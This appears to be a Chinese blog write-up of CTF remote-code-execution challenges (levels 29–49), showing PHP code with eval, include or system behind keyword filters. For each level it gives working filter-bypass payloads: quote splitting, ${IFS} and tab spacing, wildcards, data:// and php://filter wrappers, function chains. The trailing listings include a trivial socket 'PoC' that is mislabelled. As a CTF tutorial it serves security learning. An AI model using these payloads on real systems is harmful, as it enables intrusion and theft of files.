rce漏洞测试

最新推荐文章于 2025-07-18 10:07:15 发布
最新推荐文章于 2025-07-18 10:07:15 发布
阅读量1k 收藏 19
点赞数 18
CC 4.0 BY-SA版权
文章标签： android
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/m0_74377868/article/details/146571392

目录

什么是RCE？

漏洞介绍

漏洞分类

远程命令执行

29关

30关

31关

32~36关

37关

38关

39关

40关

41关

42关

43关

44关

45关

46~49关

总结

什么是RCE？


漏洞介绍

  • RCE漏洞，可以让攻击者直接向后台服务器远程注入操作系统命令或者代码，从而控制后台系统。
  • RCE主要指远程代码执行和远程命令执行，CTFHub中将文件包含漏洞也看作RCE漏洞。

漏洞分类

  1. 远程命令执行
  2. 远程代码执行
  3. 文件包含漏洞

实际上，RCE主要是remote code execute（远程代码执行）和remote command execute（远程命令执行）的缩写，但有时把文件包含漏洞也归为其中。

命令执行和代码执行的联系及区别
这两者的区别主要在于命令执行是调用操作系统命令进行执行，而代码执行是调用服务器网站的代码进行执行。

但代码执行在利用过程中往往会通过调用网站代码去执行系统命令，两者是相互联系的，故统一归类于RCE。

远程命令执行

介绍
一、定义及原理

远程命令执行，顾名思义就是可以远程执行系统命令。

该漏洞的出现是由于应用系统从设计上需要给用户提供指定的远程命令操作的接口，例如在防火墙的WEB界面中会存在一个故障排除功能，里面就会存在类似Ping操作的界面，若设计者未针对这类功能进行严格的控制检测，则可能导致攻击者提交恶意命令，从而控制后台，控制服务器。

简单来说，根据设计需求，有时会允许用户执行系统命令，要是不对用户的行为进行限制，用户就可以随意执行系统命令，造成危害，这就是远程命令执行。

二、成因

代码层过滤不严
系统的漏洞造成命令注入
调用的第三方组件存在代码执行漏洞常见的命令执行函数
PHP：exec、shell_exec、system、passthru、popen、proc_open等
ASP.NET：System.Diagnostics.Start.Process、System.Diagnostics.Start.ProcessStartInfo等
Java：java.lang.runtime.Runtime.getRuntime、java.lang.runtime.Runtime.exec等
三、漏洞检测

漏洞常常出现在网络设备、安全设备、自动化运维平台上面。往往在有需求的地方，出现RCE的概率较大，这里的有需求指的是有用户执行系统命令的需求。

白盒：可以对代码进行审计。

黑盒：可以使用一些漏扫工具、公开的漏洞、手工看功能点及参数值，其中参数值主要需要看是否和相关的漏洞函数有关，若有就可以进行测试，但是可能存在加密的情况，那么还需要进行解密。

29关

代码核心：

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

分析：

  • eval执行： 当GET参数 c 存在时，程序会直接用 eval($c) 执行传入的PHP代码。
  • 过滤规则： 正则 /flag/i 会对传入字符串进行匹配，凡是包含 “flag” 字符串（不区分大小写）的，都不允许执行。
  • 漏洞利用思路：
    • 攻击者可以提交不包含 “flag” 关键字的代码，例如使用 system("ls") 列出目录。
    • 因为直接使用 cat fla* 会匹配出 “flag” ，所以给出了变形payload：
      • 用 ?c=system("cp fla?.php 1.txt")（利用通配符 ? 替代部分字符）
      • 或 ?c=system("cat *php >> 1.txt")（利用文件通配符，将所有PHP文件内容输出到1.txt中）。

这种绕过方式利用了过滤字符串的不完整匹配，避免直接出现“flag”而达到读取目标文件的目的。

30关

代码核心：

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }
}else{
    highlight_file(__FILE__);
}

分析：

  • 扩展过滤： 除了 “flag” 之外，还过滤了 “system” 和 “php”。这使得直接调用系统函数（如 system()）以及包含 “php” 的字符串都被拦截。
  • 攻击示例：
    • 直接用 ?c=echo ls 可以绕过，但尝试 `?c=echo `cat fl* 就可能因“cat”或“fl*”中的隐含字符被识别而失败。
    • 给出的payload：
      • ?c= echo tac fl'ag'.p'hp'
        利用单引号将 “flag” 拆分成 “fl” + “ag” ，同时“php”也被分割，从而绕过正则过滤。

绕过思路：
将敏感关键字用引号、拼接或其他字符分割，使得正则表达式无法一次性匹配完整的敏感字符串，从而让恶意代码得以执行。

31关

代码核心：

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
}else{
    highlight_file(__FILE__);
}

分析：

  • 更严格的过滤： 此关在前面基础上，额外屏蔽了常用的文件查看和命令执行函数（如 cat、sort、shell）以及一些关键字符：
    • 禁止了 “.”（点）、空格（" "）和单引号（'），这使得拼接命令或调用函数的操作更加受限。
  • 绕过方案：

    • 方法一 – 寻找其他命令执行函数：

      • 可以尝试用 passthru() 替代 system()。例如：?c=passthru($_GET[a]);&a=cat flag.php
      • 利用命令中的空格可以用 %09（TAB）、${IFS}、%20 等替代，绕过空格过滤。
      • 还可以尝试通过反引号（`）调用 tac、more、less、head、tail 等命令，这些命令在某些场景下与 cat 类似。

    • 方法二 – 利用PHP内置函数：

      • ?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
        利用 scandir() 列目录、array_reverse() 反转数组，再调用 next() 获取最后一个元素，从而间接获取文件内容。

总结：
这一关的思路在于面对更多字符的限制，通过替换字符（如空格替代）、使用其他命令以及利用PHP函数链达到绕过过滤，进而执行目标命令。

32~36关

代码核心：

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
        eval($c);
    }
}else{
    highlight_file(__FILE__);
}

分析：

  • 超严格过滤：
    • 除了之前屏蔽的敏感词外，此处还额外过滤了：
      • 反引号（`）
      • echo、分号（;）、左括号（(）、冒号（:）、双引号（"）、小于号（<）、等号（=）、斜杠（/）
      • 同时还禁止所有数字（[0-9]）。
  • 主要难点：
    • 常用命令执行函数、文件包含操作以及字符串拼接等操作几乎都被禁止，给攻击者构造有效payload带来了极大挑战。
  • 绕过思路：
    • 替代空格： 即使空格被过滤，也可以用 ${IFS} 或 URL编码 %0a（换行符也能起到分隔作用）来替代空格。
    • 替代分号： 分号（用于结束语句）可以用 ?> 来退出 PHP 模式，从而达到分隔代码的目的。
    • 函数调用方式： 因为括号被禁止，但在PHP中某些函数调用可以省略括号，比如 include 可以写成 include $_GET[a] 而不使用括号。
    • 注意事项：
      • 在使用反引号或者 system、echo 等命令时，涉及到变量替换（如 $）时需要小心转义。
      • 传入的代码必须是有效的PHP代码，且不能包含 PHP 开始/结束标签（除非使用跳出 PHP 模式的技巧）。
      • eval 执行的代码与当前作用域共享，任何变量的定义或修改会影响后续代码执行。

具体payload示例：

  • 如利用 include 进行文件包含： 
    ?c=include%0a$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
    这里使用 %0a 替换空格，并利用 include 的无括号写法绕过了括号的限制，同时用 php://filter 进行 base64 编码读取 flag 文件内容。

37关

代码解析：

<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}

  • 主要功能：
    程序检查是否传入了 GET 参数 c，若存在，则使用 include($c) 将指定文件包含进来，并接着输出变量 $flag（通常在 flag.php 中定义）。

  • 过滤策略：
    正则 /flag/i 禁止传入参数中含有 “flag” 字符串。也就是说，直接在参数中出现 “flag” 会被拦截。

  • 利用思路：

    • 绕过过滤： 利用 PHP 的 data:// 流包装器，可以构造一个伪造的文件路径，直接将包含恶意 PHP 代码的字符串“当作文件”进行包含。
    • payload：
      • 直接以 data://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+ 形式传入，其中内容是 base64 编码的 PHP 代码；
      • 或者以短标签形式 ?c=data://text/plain,<?=system("tac f*");?>，利用 tac 命令逆序查看文件内容。

这种方式允许攻击者绕过对 “flag” 关键词的简单过滤，从而包含并执行任意 PHP 代码。

38关

代码解析：

<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|php|file/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}

  • 新增过滤：
    除了 “flag” 外，还同时过滤了 “php” 和 “file” 三个关键字。这使得直接利用包含 php:// 或带有 “file” 的路径（如 file://）的方法变得不可行。

  • 利用思路：

    • 攻击者可以依然采用 data:// 流，但需要注意不能包含被过滤的字符串。
    • 另一种可能是利用服务器日志（如果日志中有可控内容）来包含文件。

总体来说，这一关相比37关进一步收紧了对常用协议或标识符的限制，要求payload构造时需要避开更多关键词。

?c=data://text/plain,<?=system("tac f*");?>或者日志包含

39关

代码解析：

<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c.".php");
    }
        
}else{
    highlight_file(__FILE__);
}

  • 变化说明：
    与37关类似，但在包含时自动在传入参数后拼接了 “.php”。这意味着攻击者传入的参数会被当作文件名的前缀。

  • 利用思路：

    • 如果攻击者希望包含一个数据流构造的文件，则需要注意最后会自动加上 “.php”。
    • 可以利用 data:// 流包装器来构造一个合法的文件内容，同时利用某种技巧使得最终文件内容能被正确解析（例如利用注释或特定的编码手法）。

此关主要的防护点仍在于过滤 “flag”，但自动拼接扩展名给利用者带来额外限制，需要针对性地构造payload。

?c=data://text/plain,<?=system("tac *");?>

40关

代码解析：

<?php
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\（|\）|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }
        
}else{
    highlight_file(__FILE__);
}
  • 过滤策略：
    此处正则对传入的字符串进行极其严格的过滤：
    • 禁止数字、特殊符号（如 ~, `, @, #, $, %, ^, & 等）、括号、各种运算符及标点。
    • 过滤范围几乎涵盖了大部分常见字符，目的在于阻止利用常见的命令执行函数以及字符串拼接。
?c=print_r(get_defined_vars());
#打印当前定义的变量

#POST一个键值对再打印
?c=print_r(get_defined_vars());
post：1=system("ls");

#获得了传入的值
?c=print_r(array_pop(next(get_defined_vars())));
post：1=system("ls");

#执行值
?c=eval(array_pop(next(get_defined_vars())));
post：1=system("ls");

payload:?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
localeconv()：返回一包含本地数字及货币格式信息的数组。其中数组中的第一个为点号(.)

current() ：返回数组中的当前元素的值；默认取第一个值

pos()：current() 的别名

reset() 将 array 的内部指针倒回到第一个单元并返回第一个数组单元的值。

array_reverse()：数组逆序

(如果不是数组的最后一个或者倒数第二个呢？我们可以使用array_rand(array_flip())，array_flip()是交换数组的键和值，array_rand()是随机返回一个数组)

scandir()：列出指定路径中的文件和目录

next()：函数将内部指针向前移动一位即指向数组中的下一个元素，并输出这个元素。
    
查看当前目录下文件
?c=print_r(scandir(dirname(__FILE__)));
找到flag.php
?c=print_r(next(array_reverse(scandir(dirname(__FILE__)))));
高亮显示即可
c=highlight_file(next(array_reverse(scandir(dirname(__FILE__)))));
  • 利用思路：
    • 攻击者不得不借助 PHP 内置的数组和目录操作函数链来实现目标。
    • payload中提到了利用函数链获取目录列表：
      • 例如使用 scandir(dirname(__FILE__)) 列出当前目录文件，再通过 array_reverse 和 next 函数操作获取目标文件（如 flag.php）。
      • 还可以先打印所有定义的变量（get_defined_vars()），然后从中提取并执行传入的值，实现间接代码执行。
    • 这种方式利用了 PHP 内部函数及数组指针操作来避开严格的字符限制，属于“链式调用”技巧。

通过这种思路，攻击者可以在不直接使用敏感字符的前提下，构造出能够间接读取或显示文件内容的代码。

41关

代码解析：

<?php
if(isset($_POST['c'])){
    $c = $_POST['c'];
    if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
        eval("echo($c);");
    }
}else{
    highlight_file(__FILE__);
}
?>

  • 执行逻辑：

    • 这里采用了 POST 参数 c，并用 eval("echo($c);"); 来执行传入的表达式。
    • 执行时，会先用 echo 将表达式输出，再由 eval 执行，输出结果返回。

  • 过滤策略：
    正则过滤掉了所有的数字（0-9）、小写字母（a-z）以及一些特殊字符（如 ^、+、~、$、[、]、{、}、&、-）。

    • 这意味着攻击者不能直接使用常见的函数名（通常为小写字母）或数字来构造payload。

  • 利用思路：

    • 攻击者必须构造一个仅包含允许字符（比如大写字母和部分符号）的 payload。
    • 常用方法包括利用字符拼接、ASCII码转换、或查找替代方案来构造敏感函数的名称。
    • 例如，可以利用 PHP 中一些不受过滤的函数或常量名称，或者将字符串拆分后再拼接（如果允许的话）。

42关

代码核心：

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}else{
    highlight_file(__FILE__);
}

分析：

  • 功能： 使用 system() 执行 GET 参数 c 中传入的命令，并将标准输出和错误输出重定向到 /dev/null（不显示）。
  • 过滤情况： 本关没有对传入命令做过滤，因此攻击者可以直接传入任何合法命令。
  • 绕过思路：
    • 直接传入诸如 tac * 之类的命令即可。例如：
      • ?c=tac *%0a 或 ?c=tac *;
    • 另外还可以使用 tac f* 的变种（有时会结合其他逻辑符，如 他才tac %26 或 tac ||）。

43关

代码核心：

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

分析：

  • 新增过滤：
    • 正则表达式过滤了分号（;）和关键字 cat（不区分大小写）。
    • 这意味着攻击者不能直接使用分号来拼接多个命令，也不能直接调用 cat 查看文件内容。
  • 利用思路：
    • 依然可以使用 tac 来逆序查看文件，或者使用其他系统命令。
    • 由于系统命令执行不受其他限制，所以可以尝试通过 URL 编码、逻辑运算符（如 ||）等手段拼凑出有效payload。

44关

代码核心：

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/;|cat|flag/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

分析：

  • 新增过滤：
    • 除了分号和 cat 外，额外过滤了 flag 关键字。
    • 这使得直接尝试读取 flag 文件（通常文件名中带 flag）时会被阻断。
  • 利用思路：
    • 可以通过拆分或变形文件名来绕过过滤，例如利用引号拆分（payload ：tac f''l""ag.php），让正则无法匹配完整的 “flag” 字符串。

45关

代码核心：

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| /i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

分析：

  • 新增过滤：
    • 在原有基础上进一步增加了空格字符（" "）的过滤。
    • 空格通常在命令中起到分隔参数的作用，禁止后使得构造合法命令更加困难。
  • 绕过思路：
    • 利用常见的空格替代方式，如 %09（TAB）、${IFS}、%20（URL编码空格）等都可以替代空格，从而达到拼接命令的目的。
    • payload 就利用了这种思路，如：
      • ?c=tac%09f*|| 或 ?c=tac${IFS}f*||
    • 这些技巧可以绕过对空格的直接过滤。

46~49关

代码核心：

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

分析：

  • 更严格的过滤：
    • 除了前面的敏感字符外，还额外过滤了：
      • 数字 [0-9]、美元符号 $、星号 *
      • 常用的文件操作或内容查看命令，如 more、less、head、sort、tail、sed、cut、awk、strings、od、curl
      • 反引号（`）和百分号（%）也被禁止
    • 这些限制极大地限制了命令中常用的字符和关键词，令常规构造 payload 的方法都无法直接使用。
  • 利用思路：
    • 字符替换：
      • 由于数字和部分符号被禁用，可通过 URL 编码、使用空格替代符（如 ${IFS} 或 %09）等手段来构造出可执行的命令。
      • payload：
        • ?c=tac%09fla%3f.php%0a，其中 %09 用来替代空格，%3f（问号）用来拆分文件名，使得正则无法匹配完整的 “flag” 字符串。
    • 字符拼接与转义：
      • 利用引号、转义字符或断裂的字符串拼接方法，重新构造出被禁用的关键字（例如用 fl''ag.php、fl\ag.php 或用反引号替换组合等）。
      • 另外还可能利用通配符“?”在文件名中替代被过滤的部分字符，从而间接达到调用目标文件（如 flag 文件）的目的。

总结

  • 29关 提供了最基础的 eval 执行环境，仅过滤“flag”，可以通过拼凑命令实现文件操作。

  • 30关 在此基础上额外屏蔽了 system 和 php，迫使利用者将敏感字符串分割成无害片段（如使用单引号拆分）。

  • 31关 进一步禁用了更多常用命令和字符，要求攻击者寻找其他命令执行函数或利用PHP函数链进行间接调用。

  • 32~36关 则构成了一个高度受限的执行环境，屏蔽了几乎所有常见的字符和命令调用手段，此时只能借助替代空格、替换分号以及无括号调用等技巧来绕过过滤。

  • 37关： 通过 include 文件实现代码执行，利用 data:// 流包装器来绕过 “flag” 关键词的简单过滤，从而包含恶意代码。

  • 38关： 在37关的基础上进一步限制了关键词，要求payload在构造时避开 “php” 和 “file” 等标识符，利用方式类似但更为细致。

  • 39关： 自动在传入参数后追加“.php”，需要攻击者在payload构造时考虑扩展名拼接的影响，同样可以利用数据流包装器来构造有效payload。

  • 40关： 对传入的字符串进行了极为严格的字符过滤，使得常见的命令和函数调用都被屏蔽。攻击者需要利用 PHP 内置的目录扫描和数组操作函数链来间接获取文件内容或执行命令。

  • 41关： 通过 POST 方式传入参数，并利用 eval("echo($c);") 执行。由于过滤掉了所有数字和小写字母，攻击者需要利用“字符拼接”或其他技术构造出所需的代码字符串，达到绕过过滤并执行任意代码的目的。

  • 42关 允许直接使用 system() 执行传入命令，攻击者可以直接利用未受限制的命令调用。

  • 43关 开始对命令中的分号和 cat 关键词做过滤，迫使攻击者利用其他命令（如 tac）或编码手段绕过限制。

  • 44关 在原有基础上进一步限制包含 flag 关键字，利用者需要通过分割或混淆文件名来绕过正则检测。

  • 45关 除了前面的敏感字符外，还过滤了空格，必须使用空格替代字符如 %09 或 ${IFS} 等技巧来重构合法命令。

  • 46~49关 则构造了极其严格的命令过滤环境，不仅禁用了常见的敏感字符和关键词，还限制了数字、美元符号、常用文件操作命令等，迫使攻击者只能通过细致的字符拼接、URL编码和利用替代符号来绕过过滤，从而达到执行命令的目的。

落鹜秋水
关注
《WEB安全渗透测试》（30）RCE漏洞挖掘技巧
午夜安全
09-14 1836
我们安全工程师最喜欢的漏洞是什么？非RCE漏洞莫属！那RCE漏洞挖掘是否有技巧可言？
【网络安全】-rce漏洞-pikachu
weixin_65311462的博客
09-12 2101
由于应用程序在处理用户输入时未能正确验证、过滤或限制输入数据，导致hacker能通过网络在目标系统上执行任意代码或命令，从而完全控制受影响的系统。RCE漏洞是一种严重的安全漏洞类型，对系统安全构成重大威胁。
RCE漏洞
weixin_46962006的博客
12-13 7781
                       RCE（远程代码/命令执行）漏洞 目录前言简介 前言        个人观点，若有误请指教 简介 RCE(Remote Code/Command Execute)为远程代码/命令执行的漏洞 漏洞产生的原因:在Web应用中开发者为了灵活性，简洁性等会让应用去调用代码或者系统命令执行函数去处理。同时没有考虑用户是否可以控制这些函数的参数问题（若不能控制这些参数，自然也没有这个漏洞；若能控制这些参数，也可能出现考虑了但没有完全防住或者压根没考虑 ????），以至
深入浅出RCE漏洞：原理、利用与绕过，一篇全面掌握！
最新发布
xx16755498986的博客
07-18 794
RCE漏洞概述与绕过技巧 RCE（远程代码/命令执行）漏洞是Web应用中常见的安全风险，当用户输入未经严格过滤时，可能导致恶意代码或系统命令执行。常见漏洞函数包括系统命令执行（如system、exec）和代码执行（如eval、assert）。 RCE绕过方法： 管道符：使用;、&、||等拼接命令 空格绕过：用${IFS}、%09等替代空格 字符过滤绕过：通过反斜杠、异或、取反或自增构造payload 编码绕过：利用Base64、Hex编码隐藏命令 正则绕过：使用通配符（如?、*）匹配文件名 命令替换
pikachu~~~RCE
weixin_50339832的博客
06-06 458
RCE漏洞，可以让攻击者直接向后台服务器远程注入操作系统命令或者代码，从而控制后台系统。 远程系统命令执行 一般出现这种漏洞，是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口 比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上 一般会给用户提供一个ping操作的web界面，用户从web界面输入目标IP，提交后，后台会对该IP地址进行一次ping测试，并返回测试结果。 而，如果，设计者在完成该功能时，没有做严格的安全控制，则可能会导致攻击者通过该接口提交“意想不到”的命令，从而...
Window和Linux常用的管道符
weixin_43460822的博客
09-28 2319
Window系列支持的管道符如下所示。 " | ":直接执行后面的语句。例如：ping 127.0.0.1 | whoami。 “ || ”：如果前面执行的语句执行出错，则执行后面的语句，前面的语句只能为假。例如：ping 127.0.0.1 || whoami " & " :如果前面的语句为假则直接执行后面的语句,前面的语句可真可假。例如： ping 127.0.0.1 &wh...
向日葵RCE漏洞（CNVD-2022-10270）检测工具
02-19
向日葵RCE漏洞（CNVD-2022-10270）检测工具，已经编译好，命令行运行即可 xrkrce.exe -h 127.0.0.1
深入解析RCE漏洞挖掘与利用：涵盖多种技术手段及应用场景.pdf
05-04
适合人群：具备一定安全知识背景的安全研究人员、渗透测试员、网络安全工程师，特别是对RCE漏洞挖掘和利用感兴趣的从业者。 使用场景及目标：①帮助读者理解RCE漏洞的原理及其在不同环境下的利用方式；②提供实际...
RCE漏洞（远程命令执行漏洞）
xf3401837266的博客
05-31 809
RCE（Remote Command Execution）漏洞产生的根本原因在于应用程序对用户输入的数据缺乏足够的验证和过滤，导致攻击者能够通过精心构造的输入数据，向服务器发送恶意命令，进而执行服务器端的操作系统命令或代码。未过滤的输入：服务器端脚本直接使用用户输入执行系统命令，未对输入内容进行充分的过滤和检查。不安全的函数使用：使用了允许执行系统命令的函数（如PHP中的exec()system()passthru()等），却没有对传入的参数做适当的安全处理。配置不当。
RCE漏洞是什么？
luluoluoa的博客
06-02 9640
RCE：remote command/code execute，即远程代码/命令执行漏洞 攻击者可以直接在web页面向后台服务器远程注入操作系统命令或者代码，从而控制后台系统，这就是RCE漏洞。
RCE漏洞简介
永远是少年
12-10 6277
今天继续给大家介绍渗透测试相关知识，本文主要内容是RCE漏洞简介。 一、RCE漏洞简介与危害 二、代码执行和命令执行区别 三、RCE漏洞产生与防护
rce漏洞
libingbing_的博客
03-08 1714
RCE(远程代码执行)：是互联网的一种安全漏洞。 它可以让攻击者直接向后台服务器远程注入操作系统命令，来操控后台系统 RCE漏洞产生的根本原因：服务器像php环境版本对可执行变量函数没有做过滤，导致在没有自定义相对路径的情况下就运行命令去执行,从而导致服务器被入侵 ...
RCE漏洞详解及绕过总结(全面)
热门推荐
永不落的梦想
07-10 2万+
包括RCE漏洞的原理，常见的造成RCE漏洞的函数解析，以及限制绕过的各种姿势
这居然是一个RCE漏洞
无心的博客
10-22 2613
在十八号的时候，FreeBuf发了一篇国外的挖洞经验《利用文件上传功能构造实现针对后端验证机制的RCE漏洞》，有兴趣的可以先去看一下原文。 目录 0x01 吐槽 0x02 漏洞分享 0x01 吐槽 严格来说，这个并不是一个RCE漏洞，它就是一个正常的文件上传，没有对文件做任何的过滤而造成的，但它最后的描述是这样的 然后获得的奖励是这样的 一个靠语言描述而成的漏洞利用，最终的奖金为3000美...
rce漏洞复现
03-28
### 关于远程代码执行(RCE)漏洞复现的方法 #### 背景介绍 远程代码执行（Remote Code Execution, RCE）是一种高危漏洞，允许攻击者在未授权的情况下，在目标系统的上下文中运行任意代码。这种类型的漏洞通常存在于网络服务、Web 应用程序或其他暴露在网络中的软件中。 #### 复现步骤概述 以下是基于已知案例的通用复现流程： 1. **环境搭建** 需要创建一个模拟真实场景的测试环境来重现漏洞行为。例如，可以使用虚拟机或容器技术隔离实验环境[^4]。 2. **工具准备** 准备必要的开发和调试工具链，包括但不限于 Python 脚本、Metasploit 模块以及其他辅助工具。对于某些特定漏洞，还需要安装对应的依赖库[^1]。 3. **分析漏洞原理** 对具体漏洞的工作机制进行深入研究。比如 CVE-2020-0796 是由于 SMB 协议处理不当引起的 RCE 漏洞，了解其触发条件至关重要[^2]。 4. **编写利用脚本** 根据漏洞特性设计相应的 Payload 或 Exploit 脚本来实现远程代码注入功能。如果存在返回导向编程(ROP)，则需额外考虑如何规避 ASLR 和 DEP 等防护措施。 5. **测试与调整** 尝试多次运行编写的 POC (Proof of Concept), 并依据反馈不断优化直至成功达成预期效果为止。 #### 实际案例解析 - PHP 缓冲区溢出漏洞 在一个实际的例子当中提到过有关 iconv() 的调用问题最后却意外发现该缺陷非常适合应用于 PHP 应用层面造成严重的后果[^3]: ```php <?php // 假设这里有一个可控输入参数 $data $data = $_GET['input']; $converted_data = iconv('UTF-8', 'ISO-8859-1//IGNORE', $data); echo $converted_data; ?> ``` 上述代码片段展示了当用户提交的数据长度超过预定义缓冲大小时可能会引发堆栈破坏进而导致不可预测的行为发生。 --- ### 提供一段简单的 IPv6-RCE PoC 示例代码如下所示: ```python import socket def send_payload(ip_address): payload = b"A"*1024 # 构造超长字符串作为载荷尝试覆盖内存区域 try: sckt = socket.socket(socket.AF_INET6, socket.SOCK_STREAM) sckt.connect((ip_address, 80)) sckt.sendall(payload) response = sckt.recv(1024).decode() print(f"Received Response: {response}") except Exception as e: print(e) if __name__ == "__main__": target_ip = "<目标IPv6地址>" send_payload(target_ip) ``` 注意替换 `<目标IPv6地址>` 成真实的 IP 地址前缀后再执行以上脚本。 ---
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值